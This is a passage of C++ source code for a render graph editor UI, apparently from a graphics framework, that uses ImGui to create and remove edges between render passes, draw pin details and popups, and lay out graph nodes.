const auto inputIt = dstRenderPassUI.mNameToIndexInput.find(dstField);
// if one filed is empty, check that the other is as well
if ((dstField[0] == '#') || (srcField[0] == '#'))
canCreateEdge &= (srcField[0] == '#') && (dstField[0] == '#');
// check that link could exist
canCreateEdge &= (outputIt != srcRenderPassUI.mNameToIndexOutput.end()) &&
(inputIt != dstRenderPassUI.mNameToIndexInput.end());
// check that the input is not already connected
canCreateEdge &= (mInputPinStringToLinkID.find(dstString) == mInputPinStringToLinkID.end());
if (canCreateEdge)
{
uint32_t srcPinIndex = outputIt->second;
uint32_t dstPinIndex = inputIt->second;
srcRenderPassUI.mOutputPins[srcPinIndex].mConnectedPinName = dstField;
srcRenderPassUI.mOutputPins[srcPinIndex].mConnectedNodeName = dstPass;
dstRenderPassUI.mInputPins[dstPinIndex].mConnectedPinName = srcField;
dstRenderPassUI.mInputPins[dstPinIndex].mConnectedNodeName = srcPass;
if (!(dstField[0] == '#'))
{
RenderPassReflection srcReflection = mpRenderGraph->mNodeData[mpRenderGraph->getPassIndex(srcPass)].pPass->reflect({});
RenderPassReflection dstReflection = mpRenderGraph->mNodeData[mpRenderGraph->getPassIndex(dstPass)].pPass->reflect({});
bool canAutoResolve = false;// mpRenderGraph->canAutoResolve(srcReflection.getField(srcField), dstReflection.getField(dstField));
if (canAutoResolve && mDisplayAutoResolvePopup) canCreateEdge = autoResolveWarning(srcString, dstString);
color = canAutoResolve ? kAutoResolveEdgesColor : kEdgesColor;
}
if (canCreateEdge)
{
mShouldUpdate = true;
if (dstField[0] == '#')
{
// rebuilds data to avoid repeated code
mRebuildDisplayData = true;
color = kExecutionEdgeColor;
mpIr->addEdge(srcPass, dstPass);
}
else
{
mpIr->addEdge(srcString, dstString);
}
}
}
else
{
mLogString += "Unable to create edge for graph. \n";
}
return canCreateEdge;
}
void RenderGraphUI::removeEdge(const std::string& srcPass, const std::string& dstPass, const std::string& srcField, const std::string& dstField)
{
if (dstField[0] == '#')
{
assert(srcField[0] == '#');
mpIr->removeEdge(srcPass, dstPass);
}
else
{
mpIr->removeEdge(srcPass + "." + srcField, dstPass + "." + dstField);
}
mShouldUpdate = true;
}
void RenderGraphUI::removeRenderPass(const std::string& name)
{
mRebuildDisplayData = true;
mpIr->removePass(name);
mShouldUpdate = true;
}
void RenderGraphUI::updateGraph(RenderContext* pContext)
{
if (!mShouldUpdate) return;
std::string newCommands = mpIr->getIR();
mpIr = RenderGraphIR::create(mRenderGraphName, false); // reset
if (mLastCommand == newCommands) return;
mLastCommand = newCommands;
if (mRecordUpdates) mUpdateCommands += newCommands;
// update reference graph to check if valid before sending to next
Scripting::getGlobalContext().setObject("g", mpRenderGraph);
Scripting::runScript(newCommands);
if(newCommands.size()) mLogString += newCommands;
// only send updates that we know are valid.
if (mpRenderGraph->compile(pContext) == false) mLogString += "Graph is currently invalid\n";
mShouldUpdate = false;
mRebuildDisplayData = true;
}
void RenderGraphUI::writeUpdateScriptToFile(RenderContext* pContext, const std::string& filePath, float lastFrameTime)
{
if ((mTimeSinceLastUpdate += lastFrameTime) < kUpdateTimeInterval) return;
mTimeSinceLastUpdate = 0.0f;
if (!mUpdateCommands.size()) return;
// only send delta of updates once the graph is valid
if (mpRenderGraph->compile(pContext) == false) return;
std::ofstream outputFileStream(filePath, std::ios_base::out);
outputFileStream << mUpdateCommands;
mUpdateCommands.clear();
}
RenderGraphUI::RenderGraphUI()
: mNewNodeStartPosition(-40.0f, 100.0f)
{
mNextPassName.resize(255, 0);
}
RenderGraphUI::RenderGraphUI(const RenderGraph::SharedPtr& pGraph, const std::string& graphName)
: mpRenderGraph(pGraph), mNewNodeStartPosition(-40.0f, 100.0f), mRenderGraphName(graphName)
{
mNextPassName.resize(255, 0);
mpNodeGraphEditor = std::make_shared<NodeGraphEditorGui>(this);
mpIr = RenderGraphIR::create(graphName, false);
}
RenderGraphUI::~RenderGraphUI()
{
}
void RenderGraphUI::NodeGraphEditorGui::setNode(ImGui::Node*& node, ImGui::NodeGraphEditor::NodeState state, ImGui::NodeGraphEditor& editor)
{
RenderGraphNode* pRenderGraphNode = static_cast<RenderGraphNode*>(node);
RenderGraphUI::NodeGraphEditorGui* pGraphEditor = static_cast<RenderGraphUI::NodeGraphEditorGui*>(&editor);
if (!editor.isInited())
{
if (state == ImGui::NodeGraphEditor::NodeState::NS_DELETED)
{
pRenderGraphNode->getFields().clear();
pGraphEditor->getRenderGraphUI()->removeRenderPass(node->getName());
}
}
if (state == ImGui::NodeGraphEditor::NodeState::NS_ADDED)
{
pGraphEditor->getRenderGraphUI()->addRenderPass(node->getName(), getClassTypeName(pRenderGraphNode->mpRenderPass));
}
}
void RenderPassUI::addUIPin(const std::string& fieldName, uint32_t guiPinID, bool isInput, const std::string& connectedPinName, const std::string& connectedNodeName, bool isGraphOutput)
{
auto& pinsRef = isInput ? mInputPins : mOutputPins;
auto& nameToIndexMapRef = isInput ? mNameToIndexInput : mNameToIndexOutput;
if (pinsRef.size() <= guiPinID)
{
pinsRef.resize(guiPinID + 1);
}
PinUI& pinUIData = pinsRef[guiPinID];
pinUIData.mPinName = fieldName;
pinUIData.mGuiPinID = guiPinID;
pinUIData.mConnectedPinName = connectedPinName;
pinUIData.mConnectedNodeName = connectedNodeName;
pinUIData.mIsGraphOutput = isGraphOutput;
nameToIndexMapRef.insert(std::make_pair(pinUIData.mPinName, static_cast<uint32_t>(guiPinID) ));
}
void RenderPassUI::renderPinUI(const std::string& passName, RenderGraphUI* pGraphUI, uint32_t index, bool input)
{
RenderPassUI::PinUI& pinUI = input ? mInputPins[index] : mOutputPins[index];
size_t fieldIndex = -1;
for (size_t i = 0; i < mReflection.getFieldCount(); ++i)
{
if (mReflection.getField(i)->getName() == pinUI.mPinName)
{
fieldIndex = i;
break;
}
}
if (fieldIndex != -1)
{
// only render ui if is input or output
const RenderPassReflection::Field& field = *mReflection.getField(fieldIndex);
if (is_set(field.getVisibility(), RenderPassReflection::Field::Visibility::Input) || is_set(field.getVisibility(), RenderPassReflection::Field::Visibility::Output))
{
pinUI.renderUI(field, pGraphUI, passName);
}
}
}
void RenderPassUI::PinUI::renderFieldInfo(const RenderPassReflection::Field& field, RenderGraphUI* pGraphUI, const std::string& passName, const std::string& fieldName)
{
RenderPassReflection::Field::Visibility type = field.getVisibility();
uint32_t isInput = is_set(type, RenderPassReflection::Field::Visibility::Input);
uint32_t isOutput = is_set(type, RenderPassReflection::Field::Visibility::Output);
bool isExecutionPin = fieldName[0] == '#';
if (isExecutionPin)
{
ImGui::TextUnformatted("Execution Pin");
return;
}
ImGui::SameLine();
ImGui::TextUnformatted((std::string("Field Name: ") + fieldName).c_str());
ImGui::Separator();
ImGui::TextUnformatted((field.getDesc() + "\n\n").c_str());
ImGui::TextUnformatted("ResourceFlags : ");
if (isInput && isOutput)
{
ImGui::SameLine();
ImGui::TextUnformatted("InputOutput");
}
else if (isInput)
{
ImGui::SameLine();
ImGui::TextUnformatted("Input");
}
else if (isOutput)
{
ImGui::SameLine();
ImGui::TextUnformatted("Output");
}
ImGui::TextUnformatted("ResourceType : ");
ImGui::SameLine();
ImGui::TextUnformatted(to_string(field.getType()).c_str());
ImGui::TextUnformatted("Width: ");
ImGui::SameLine();
ImGui::TextUnformatted(std::to_string(field.getWidth()).c_str());
ImGui::TextUnformatted("Height: ");
ImGui::SameLine();
ImGui::TextUnformatted(std::to_string(field.getHeight()).c_str());
ImGui::TextUnformatted("Depth: ");
ImGui::SameLine();
ImGui::TextUnformatted(std::to_string(field.getDepth()).c_str());
ImGui::TextUnformatted("Sample Count: ");
ImGui::SameLine();
ImGui::TextUnformatted(std::to_string(field.getSampleCount()).c_str());
ImGui::TextUnformatted("ResourceFormat: ");
ImGui::SameLine();
ImGui::TextUnformatted(to_string(field.getFormat()).c_str());
ImGui::TextUnformatted("BindFlags: ");
ImGui::SameLine();
ImGui::TextUnformatted(to_string(field.getBindFlags()).c_str());
ImGui::TextUnformatted("Flags: ");
switch (field.getFlags())
{
case RenderPassReflection::Field::Flags::None:
ImGui::SameLine();
ImGui::TextUnformatted("None");
break;
case RenderPassReflection::Field::Flags::Optional:
ImGui::SameLine();
ImGui::TextUnformatted("Optional");
break;
case RenderPassReflection::Field::Flags::Persistent:
ImGui::SameLine();
ImGui::TextUnformatted("Persistent");
break;
default:
should_not_get_here();
}
}
void RenderPassUI::PinUI::renderUI(const RenderPassReflection::Field& field, RenderGraphUI* pGraphUI, const std::string& passName)
{
ImGui::TextUnformatted(mIsGraphOutput ? "Graph Output : " : "");
renderFieldInfo(field, pGraphUI, passName, mPinName);
bool isExecutionPin = mPinName[0] == '#';
if (!isExecutionPin && is_set(field.getVisibility(), RenderPassReflection::Field::Visibility::Output))
{
bool isGraphOut = mIsGraphOutput;
if (ImGui::Checkbox("Graph Output", &mIsGraphOutput))
{
if (isGraphOut && !mIsGraphOutput)
{
pGraphUI->removeOutput(passName, mPinName);
}
else if (!isGraphOut && mIsGraphOutput)
{
pGraphUI->addOutput(passName, mPinName);
}
}
}
ImGui::Separator();
}
void RenderGraphUI::renderPopupMenu()
{
bool isPopupOpen = false;
bool first = false;
if (!(isPopupOpen = ImGui::IsPopupOpen(ImGui::GetCurrentWindow()->GetID("PinMenu"))))
{
ImGui::OpenPopup("PinMenu");
first = true;
}
ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(8, 8));
if (ImGui::BeginPopup("PinMenu"))
{
if (first) ImGui::SetWindowPos({ ImGui::GetWindowPos().x - 8, ImGui::GetWindowPos().y - 8 });
else if (isPopupOpen && !ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem | ImGuiHoveredFlags_ChildWindows))
{
if (ImGui::IsMouseClicked(0) || ImGui::IsMouseClicked(1))
{
mpNodeGraphEditor->selectedLink = -1;
mpNodeGraphEditor->setPopupNode(nullptr);
mpNodeGraphEditor->setPopupPin(-1, false);
}
else mpNodeGraphEditor->deselectPopupPin();
}
if (mpNodeGraphEditor->getPopupNode() && mpNodeGraphEditor->getPopupPinIndex() != -1)
{
const std::string& passName = mpNodeGraphEditor->getPopupNode()->getName();
RenderPassUI& renderPassUI = mRenderPassUI[passName];
renderPassUI.renderPinUI(passName, this, mpNodeGraphEditor->getPopupPinIndex(), mpNodeGraphEditor->isPopupPinInput());
ImGui::Separator();
}
if (mpNodeGraphEditor->selectedLink != -1)
{
ImGui::NodeLink& selectedLink = mpNodeGraphEditor->getLink(mpNodeGraphEditor->selectedLink);
std::string srcPassName = std::string(selectedLink.InputNode->getName());
std::string dstPassName = std::string(selectedLink.OutputNode->getName());
ImGui::TextUnformatted((std::string("Edge: ") + srcPassName + '-' + dstPassName).c_str());
std::string inputName = std::string(static_cast<RenderGraphNode*>(selectedLink.OutputNode)->getInputName(selectedLink.OutputSlot));
std::string inputString = dstPassName + (inputName.empty() ? "" : ".") + inputName;
uint32_t linkID = mInputPinStringToLinkID[inputString];
auto edgeIt = mpRenderGraph->mEdgeData.find(linkID);
// link exists, but is not an edge (such as graph output edge)
if (edgeIt != mpRenderGraph->mEdgeData.end())
{
RenderGraph::EdgeData& edgeData = edgeIt->second;
if (edgeData.srcField.size())
{
ImGui::TextUnformatted("Src Field : ");
ImGui::SameLine();
ImGui::TextUnformatted(edgeData.srcField.c_str());
}
if (edgeData.dstField.size())
{
ImGui::TextUnformatted("Dst Field : ");
ImGui::SameLine();
ImGui::TextUnformatted(edgeData.dstField.c_str());
}
if (edgeData.dstField.size() || edgeData.srcField.size())
{
ImGui::TextUnformatted("Auto-Generated : ");
ImGui::SameLine();
ImGui::TextUnformatted(edgeData.autoGenerated ? "true" : "false");
}
}
}
ImGui::EndPopup();
}
ImGui::PopStyleVar();
}
void RenderGraphUI::renderUI(RenderContext* pContext, Gui* pGui)
{
static std::string dragAndDropText;
ImGui::GetIO().FontAllowUserScaling = true; // FIXME
mpNodeGraphEditor->mpRenderGraphUI = this;
mpNodeGraphEditor->setCurrentGui(pGui);
mpNodeGraphEditor->show_top_pane = false;
mpNodeGraphEditor->show_node_copy_paste_buttons = false;
mpNodeGraphEditor->show_connection_names = false;
mpNodeGraphEditor->show_left_pane = false;
mpNodeGraphEditor->setLinkCallback(NodeGraphEditorGui::setLinkFromGui);
mpNodeGraphEditor->setNodeCallback(NodeGraphEditorGui::setNode);
ImVec2 mousePos = ImGui::GetMousePos();
ImGui::NodeGraphEditor::Style& style = mpNodeGraphEditor->GetStyle();
style.color_node_frame_selected = ImGui::ColorConvertFloat4ToU32({ 226.0f / 255.0f, 190.0f / 255.0f, 42.0f / 255.0f, 0.8f });
style.color_node_frame_active = style.color_node_frame_selected;
style.node_slots_radius = kPinRadius;
// update the deleted links from the GUI since the library doesn't call its own callback
if (mRebuildDisplayData)
{
mRebuildDisplayData = false;
mpNodeGraphEditor->setNodeCallback(nullptr);
mpNodeGraphEditor->reset();
}
else
{
updatePins(false);
}
ImVector<const ImGui::Node*> selectedNodes;
mpNodeGraphEditor->getSelectedNodes(selectedNodes);
// push update commands for the open pop-up
Gui::Window renderWindow(pGui, "Render UI", { 250, 200 });
for (uint32_t i = 0 ; i < static_cast<uint32_t>(selectedNodes.size()); ++i)
{
std::string renderUIName = selectedNodes.Data[i]->getName();
if (auto renderGroup = renderWindow.group(renderUIName, true))
{
auto pPass = mpRenderGraph->getPass(renderUIName);
bool internalResources = false;
renderGroup.separator();
std::string wrappedText = std::string("Description: ") + RenderPassLibrary::getClassDescription(getClassTypeName(pPass.get()));
ImGui::TextWrapped("%s", wrappedText.c_str());
renderGroup.separator();
pPass->renderUI(renderGroup);
for (uint32_t i = 0; i < mRenderPassUI[renderUIName].mReflection.getFieldCount(); ++i)
{
const auto& field = *mRenderPassUI[renderUIName].mReflection.getField(i);
if (is_set(field.getVisibility(), RenderPassReflection::Field::Visibility::Internal))
{
if (!internalResources)
{
renderGroup.separator(); renderGroup.text("\n\n"); renderGroup.separator();
renderGroup.text("Internal Resources:");
renderGroup.text("\n\n");
renderGroup.separator();
}
RenderPassUI::PinUI::renderFieldInfo(field, this, renderUIName, field.getName());
internalResources = true;
}
}
if (internalResources) renderGroup.separator();
// TODO -- only call this with data change
if (ImGui::IsWindowFocused())
{
mpIr->updatePass(renderUIName, pPass->getScriptingDictionary());
}
mShouldUpdate = true;
}
}
renderWindow.release();
if (mpNodeGraphEditor->getPopupPinIndex() != uint32_t(-1) || (mpNodeGraphEditor->selectedLink != -1))
{
renderPopupMenu();
}
else
{
if (ImGui::IsPopupOpen(ImGui::GetCurrentWindow()->GetID("PinMenu")))
{
ImGui::CloseCurrentPopup();
}
}
if (!mpNodeGraphEditor->isInited())
{
mpNodeGraphEditor->render();
std::string statement;
bool addPass = false;
bool b = false;
if (ImGui::BeginDragDropTarget())
{
auto dragDropPayload = ImGui::AcceptDragDropPayload("RenderPassType");
b = dragDropPayload && dragDropPayload->IsDataType("RenderPassType") && (dragDropPayload->Data != nullptr);
if (b)
{
statement.resize(dragDropPayload->DataSize);
std::memcpy(&statement.front(), dragDropPayload->Data, dragDropPayload->DataSize);
}
ImGui::EndDragDropTarget();
}
if (b)
{
dragAndDropText = statement;
mNewNodeStartPosition = { -mpNodeGraphEditor->offset.x + mousePos.x, -mpNodeGraphEditor->offset.y + mousePos.y };
mNewNodeStartPosition /= ImGui::GetCurrentWindow()->FontWindowScale;
mNextPassName = statement;
// only open pop-up if right clicked
mDisplayDragAndDropPopup = ImGui::GetIO().KeyCtrl;
addPass = !mDisplayDragAndDropPopup;
}
if (mDisplayDragAndDropPopup)
{
Gui::Window createGraphWindow(pGui, "CreateNewGraph", mDisplayDragAndDropPopup, { 256, 128 }, { (uint32_t)mousePos.x, (uint32_t)mousePos.y });
createGraphWindow.textbox("Pass Name", mNextPassName);
if (createGraphWindow.button("create##renderpass"))
{
addPass = true;
}
if (createGraphWindow.button("cancel##renderPass"))
{
mDisplayDragAndDropPopup = false;
}
createGraphWindow.release();
}
if (addPass)
{
while (mpRenderGraph->doesPassExist(mNextPassName))
{
mNextPassName.push_back('_');
}
mpIr->addPass(dragAndDropText, mNextPassName);
mAddedFromDragAndDrop = true;
mDisplayDragAndDropPopup = false;
mShouldUpdate = true;
if (mMaxNodePositionX < mNewNodeStartPosition.x) mMaxNodePositionX = mNewNodeStartPosition.x;
}
// set editor window behind other windows. set top menu bar to always be infront.this is repeated for other render call
ImGui::BringWindowToDisplayBack(ImGui::FindWindowByName("Graph Editor"));
ImGui::BringWindowToDisplayFront(ImGui::FindWindowByName("##MainMenuBar"));
return;
}
updateDisplayData(pContext);
mAllNodeTypes.clear();
// reset internal data of node if all nodes deleted
if (!mRenderPassUI.size())
{
mpNodeGraphEditor->clear();
mpNodeGraphEditor->render();
return;
}
for (auto& nodeTypeString : mAllNodeTypeStrings)
{
mAllNodeTypes.push_back(nodeTypeString.c_str());
}
mpNodeGraphEditor->registerNodeTypes(mAllNodeTypes.data(), static_cast<uint32_t>(mAllNodeTypes.size()), NodeGraphEditorGui::createNode, 0, -1, 0, 0);
for (auto& currentPass : mRenderPassUI)
{
auto& currentPassUI = currentPass.second;
std::string inputsString;
std::string outputsString;
std::string nameString;
for (const auto& currentPinUI : currentPassUI.mInputPins)
{
// Connect the graph nodes for each of the edges
// need to iterate in here in order to use the right indices
const std::string& currentPinName = currentPinUI.mPinName;
inputsString += inputsString.size() ? (";" + currentPinName) : currentPinName;
}
for (const auto& currentPinUI : currentPassUI.mOutputPins)
{
const std::string& currentPinName = currentPinUI.mPinName;
outputsString += outputsString.size() ? (";" + currentPinName) : currentPinName;
}
uint32_t guiNodeID = currentPassUI.mGuiNodeID;
RenderPass* pNodeRenderPass = mpRenderGraph->getPass(currentPass.first).get();
nameString = currentPass.first;
if (!mpNodeGraphEditor->getAllNodesOfType(currentPassUI.mGuiNodeID, nullptr, false))
{
float2 nextPosition = mAddedFromDragAndDrop ? mNewNodeStartPosition : getNextNodePosition(mpRenderGraph->getPassIndex(nameString));
mpNodeGraphEditor->getNodeFromID(guiNodeID) = mpNodeGraphEditor->addAndInitNode(guiNodeID,
nameString, outputsString, inputsString, guiNodeID, pNodeRenderPass,
ImVec2(nextPosition.x, nextPosition.y));
mAddedFromDragAndDrop = false;
}
}
updatePins();
mpNodeGraphEditor->render();
ImGui::BringWindowToDisplayBack(ImGui::FindWindowByName("Graph Editor"));
ImGui::BringWindowToDisplayFront(ImGui::FindWindowByName("##MainMenuBar"));
}
void RenderGraphUI::reset()
{
mpNodeGraphEditor->reset();
mpNodeGraphEditor->clear();
mRebuildDisplayData = true;
}
std::vector<uint32_t> RenderGraphUI::getPassOrder()
{
std::vector<uint32_t> executionOrder;
std::map<float, uint32_t> posToIndex;
for ( uint32_t i = 0; i < static_cast<uint32_t>(mpNodeGraphEditor->getNumNodes()); ++i)
{
RenderGraphNode* pCurrentGraphNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNode(i));
std::string currentNodeName = pCurrentGraphNode->getName();
if (currentNodeName == "GraphOutput") continue;
float position = pCurrentGraphNode->getPos().x;
posToIndex[position] = (mpRenderGraph->getPassIndex(currentNodeName));
}
for (const auto& posIndexPair : posToIndex)
{
executionOrder.push_back(posIndexPair.second);
}
return executionOrder;
}
void RenderGraphUI::setRecordUpdates(bool recordUpdates)
{
mRecordUpdates = recordUpdates;
}
void RenderGraphUI::updatePins(bool addLinks)
{
// Draw pin connections. All the nodes have to be added to the GUI before the connections can be drawn
for (auto& currentPass : mRenderPassUI)
{
auto& currentPassUI = currentPass.second;
for (auto& currentPinUI : currentPassUI.mOutputPins)
{
const std::string& currentPinName = currentPinUI.mPinName;
if (addLinks)
{
const auto& inputPins = mOutputToInputPins.find(currentPass.first + "." + currentPinName);
if (inputPins != mOutputToInputPins.end())
{
for (const auto& connectedPin : (inputPins->second))
{
if (!mpNodeGraphEditor->isLinkPresent(mpNodeGraphEditor->getNodeFromID(currentPassUI.mGuiNodeID), currentPinUI.mGuiPinID,
mpNodeGraphEditor->getNodeFromID(connectedPin.second), connectedPin.first))
{
RenderGraphNode* pNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(connectedPin.second));
std::string dstName = pNode->getInputName(connectedPin.first);
uint32_t edgeColor = kEdgesColor;
// execution edges
if (dstName[0] == '#')
{
edgeColor = kExecutionEdgeColor;
}
else
{
std::string srcString = currentPass.first + "." + currentPinName;
std::string dstString = std::string(pNode->getName()) + "." + dstName;
const RenderPassReflection::Field& srcPin = *currentPassUI.mReflection.getField(currentPinName);
const RenderPassReflection::Field& dstPin = *mRenderPassUI[pNode->getName()].mReflection.getField(dstName);
if (false/*mpRenderGraph->canAutoResolve(srcPin, dstPin)*/)
{
mLogString += std::string("Warning: Edge ") + srcString + " - " + dstName + " can auto-resolve.\n";
edgeColor = kAutoResolveEdgesColor;
}
else
{
uint32_t edgeId = mpRenderGraph->getEdge(srcString, dstString);
if (mpRenderGraph->mEdgeData[edgeId].autoGenerated) edgeColor = kAutoGenEdgesColor;
}
}
mpNodeGraphEditor->addLinkFromGraph(mpNodeGraphEditor->getNodeFromID(currentPassUI.mGuiNodeID), currentPinUI.mGuiPinID,
mpNodeGraphEditor->getNodeFromID(connectedPin.second), connectedPin.first, false, edgeColor);
RenderGraphNode* pDstGraphNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(connectedPin.second));
RenderGraphNode* pSrcGraphNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(currentPassUI.mGuiNodeID));
pDstGraphNode->mInputPinConnected[connectedPin.first] = true;
pSrcGraphNode->mOutputPinConnected[currentPinUI.mGuiPinID] = true;
if (dstName[0] == '#')
{
pSrcGraphNode->setPinColor(kExecutionEdgeColor, currentPinUI.mGuiPinID, false);
pDstGraphNode->setPinColor(kExecutionEdgeColor, connectedPin.first, true);
}
}
}
}
// mark graph outputs to graph output node
if (currentPinUI.mIsGraphOutput)
{
static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(currentPassUI.mGuiNodeID))->setPinColor(kGraphOutputsColor, currentPinUI.mGuiPinID);
}
}
else
{
if (!currentPinUI.mIsGraphOutput)
{
static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(currentPassUI.mGuiNodeID))->setPinColor(ImColor(150, 150, 150, 150), currentPinUI.mGuiPinID);
}
}
}
if (!addLinks)
{
for (auto& currentPinUI : currentPassUI.mInputPins)
{
const std::string& currentPinName = currentPinUI.mPinName;
if (!currentPinUI.mConnectedNodeName.size()) continue;
std::pair<uint32_t, uint32_t> inputIDs{ currentPinUI.mGuiPinID, currentPassUI.mGuiNodeID };
const auto& connectedNodeUI = mRenderPassUI[currentPinUI.mConnectedNodeName];
uint32_t inputPinID = connectedNodeUI.mNameToIndexOutput.find(currentPinUI.mConnectedPinName)->second;
if (!mpNodeGraphEditor->isLinkPresent(mpNodeGraphEditor->getNodeFromID(connectedNodeUI.mGuiNodeID), inputPinID,
mpNodeGraphEditor->getNodeFromID(inputIDs.second),inputIDs.first ))
{
auto edgeIt = mInputPinStringToLinkID.find(currentPass.first + "." + currentPinName);
assert(edgeIt != mInputPinStringToLinkID.end());
uint32_t edgeID = edgeIt->second;
removeEdge(mpNodeGraphEditor->getNodeFromID(connectedNodeUI.mGuiNodeID)->getName(),
mpNodeGraphEditor->getNodeFromID(inputIDs.second)->getName(), mpRenderGraph->mEdgeData[edgeID].srcField, mpRenderGraph->mEdgeData[edgeID].dstField);
mpRenderGraph->removeEdge(edgeID);
currentPinUI.mConnectedNodeName = "";
RenderGraphNode* pDstGraphNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(inputIDs.second));
RenderGraphNode* pSrcGraphNode = static_cast<RenderGraphNode*>(mpNodeGraphEditor->getNodeFromID(connectedNodeUI.mGuiNodeID));
pDstGraphNode->mInputPinConnected[inputIDs.first] = false;
pSrcGraphNode->mOutputPinConnected[inputPinID] = false;
pSrcGraphNode->setPinColor(kPinColor, inputPinID, false);
pDstGraphNode->setPinColor(kPinColor, inputIDs.first, true);
continue;
}
}
}
}
}
float2 RenderGraphUI::getNextNodePosition(uint32_t nodeID)
{
const float offsetX = 384.0f;
const float offsetY = 128.0f;
float2 newNodePosition = mNewNodeStartPosition;
auto topologicalSort = DirectedGraphTopologicalSort::sort(mpRenderGraph->mpGraph.get());
// For each object in the vector, if it's being used in the execution, put it in the list
for (auto& node : topologicalSort)
{
newNodePosition.x += offsetX;
if (node == nodeID)
{
const DirectedGraph::Node* pNode = mpRenderGraph->mpGraph->getNode(nodeID);
if (!pNode->getIncomingEdgeCount())
{
newNodePosition.y += offsetY * pNode->getIncomingEdgeCount() * nodeID;
break;
}
for (uint32_t i = 0; i < pNode->getIncomingEdgeCount(); ++i)
{
uint32_t outgoingEdgeCount = mpRenderGraph->mpGraph->getNode(mpRenderGraph->mpGraph->getEdge(pNode->getIncomingEdge(i))->getSourceNode())->getOutgoingEdgeCount();
if (outgoingEdgeCount > pNode->getIncomingEdgeCount())
{
// move down by index in
newNodePosition.y += offsetY * (outgoingEdgeCount - pNode->getIncomingEdgeCount());
break;
}
}
break;
}
}
if (newNodePosition.x > mMaxNodePositionX) mMaxNodePositionX = newNodePosition.x;
return newNodePosition;
}
void RenderGraphUI::updateDisplayData(RenderContext* pContext)
{
uint32_t nodeIndex = 0;
mOutputToInputPins.clear();
// set of field names that have a connection and are represented in the graph
std::unordered_set<std::string> nodeConnectedInput;
std::unordered_set<std::string> nodeConnectedOutput;
std::unordered_map<std::string, uint32_t> previousGuiNodeIDs;
std::unordered_set<uint32_t> existingIDs;
for (const auto& currentRenderPassUI : mRenderPassUI)
{
existingIDs.insert(currentRenderPassUI.second.mGuiNodeID);
previousGuiNodeIDs.insert(std::make_pair(currentRenderPassUI.first, currentRenderPassUI.second.mGuiNodeID));
}
mpRenderGraph->compile(pContext);
mRenderPassUI.clear();
mInputPinStringToLinkID.clear();
// build information for displaying graph
for (const auto& nameToIndex : mpRenderGraph->mNameToIndex)
{
auto pCurrentPass = mpRenderGraph->mpGraph->getNode(nameToIndex.second);
RenderPassUI renderPassUI;
bool addedExecutionInput = false;
bool addedExecutionOutput = false;
mAllNodeTypeStrings.insert(nameToIndex.first);
while (existingIDs.find(nodeIndex) != existingIDs.end())
{
nodeIndex++;
}
// keep the GUI id from the previous frame
auto pPreviousID = previousGuiNodeIDs.find(nameToIndex.first);
if (pPreviousID != previousGuiNodeIDs.end())
{
renderPassUI.mGuiNodeID = pPreviousID->second;
}
else
{
renderPassUI.mGuiNodeID = nodeIndex;
nodeIndex++;
}
// clear and rebuild reflection for each pass.
renderPassUI.mReflection = mpRenderGraph->mNodeData[nameToIndex.second].pPass->reflect({});
// test to see if we have hit a graph output
std::unordered_set<std::string> passGraphOutputs;
for (const auto& output : mpRenderGraph->mOutputs)
{
if (output.nodeId == nameToIndex.second)
{
passGraphOutputs.insert(output.field);
}
}
uint32_t inputPinIndex = 0;
uint32_t outputPinIndex = 0;
// add all of the incoming connections
for (uint32_t i = 0; i < pCurrentPass->getIncomingEdgeCount(); ++i)
{
uint32_t edgeID = pCurrentPass->getIncomingEdge(i);
auto currentEdge = mpRenderGraph->mEdgeData[edgeID];
uint32_t pinIndex = 0;
inputPinIndex = 0;
while (pinIndex < renderPassUI.mReflection.getFieldCount())
{
bool isInput = is_set(renderPassUI.mReflection.getField(pinIndex)->getVisibility(),RenderPassReflection::Field::Visibility::Input);
if (isInput)
{
if (renderPassUI.mReflection.getField(pinIndex)->getName() == currentEdge.dstField) { break; }
inputPinIndex++;
}
pinIndex++;
}
auto pSourceNode = mpRenderGraph->mNodeData.find( mpRenderGraph->mpGraph->getEdge(edgeID)->getSourceNode());
assert(pSourceNode != mpRenderGraph->mNodeData.end());
addedExecutionInput = currentEdge.dstField.empty();
std::string dstFieldName = currentEdge.dstField.empty() ? kInPrefix + nameToIndex.first : currentEdge.dstField;
std::string inputPinString = nameToIndex.first + "." + dstFieldName;
std::string srcFieldName = currentEdge.srcField.empty() ? kOutPrefix + pSourceNode->second.name : currentEdge.srcField;
std::string outputPinString = pSourceNode->second.name + "." + srcFieldName;
if (nodeConnectedInput.find(inputPinString) == nodeConnectedInput.end())
{
nodeConnectedInput.insert(inputPinString);
}
renderPassUI.addUIPin(dstFieldName, inputPinIndex, true, srcFieldName, pSourceNode->second.name);
mOutputToInputPins[outputPinString].push_back(std::make_pair(inputPinIndex, renderPassUI.mGuiNodeID));
mInputPinStringToLinkID.insert(std::make_pair(inputPinString, edgeID));
}
// add all of the outgoing connections
for (uint32_t i = 0; i < pCurrentPass->getOutgoingEdgeCount(); ++i)
{
uint32_t edgeID = pCurrentPass->getOutgoingEdge(i);
auto currentEdge = mpRenderGraph->mEdgeData[edgeID];
outputPinIndex = 0;
std::string pinString = nameToIndex.first + "." + currentEdge.srcField;
if (nodeConnectedOutput.find(pinString) != nodeConnectedOutput.end())
{
break;
}
bool isGraphOutput = passGraphOutputs.find(currentEdge.srcField) != passGraphOutputs.end();
uint32_t pinIndex = 0;
while (pinIndex < renderPassUI.mReflection.getFieldCount())
{
bool isOutput = (static_cast<uint32_t>(renderPassUI.mReflection.getField(pinIndex)->getVisibility() & RenderPassReflection::Field::Visibility::Output) != 0);
if (isOutput)
{
if (renderPassUI.mReflection.getField(pinIndex)->getName() == currentEdge.srcField) { break; }
outputPinIndex++;
}
pinIndex++;
}
auto pDestNode = mpRenderGraph->mNodeData.find(mpRenderGraph->mpGraph->getEdge(edgeID)->getDestNode());
assert(pDestNode != mpRenderGraph->mNodeData.end());
addedExecutionOutput = currentEdge.dstField.empty();
std::string dstFieldName = currentEdge.dstField.empty() ? kInPrefix + pDestNode->second.name : currentEdge.dstField;
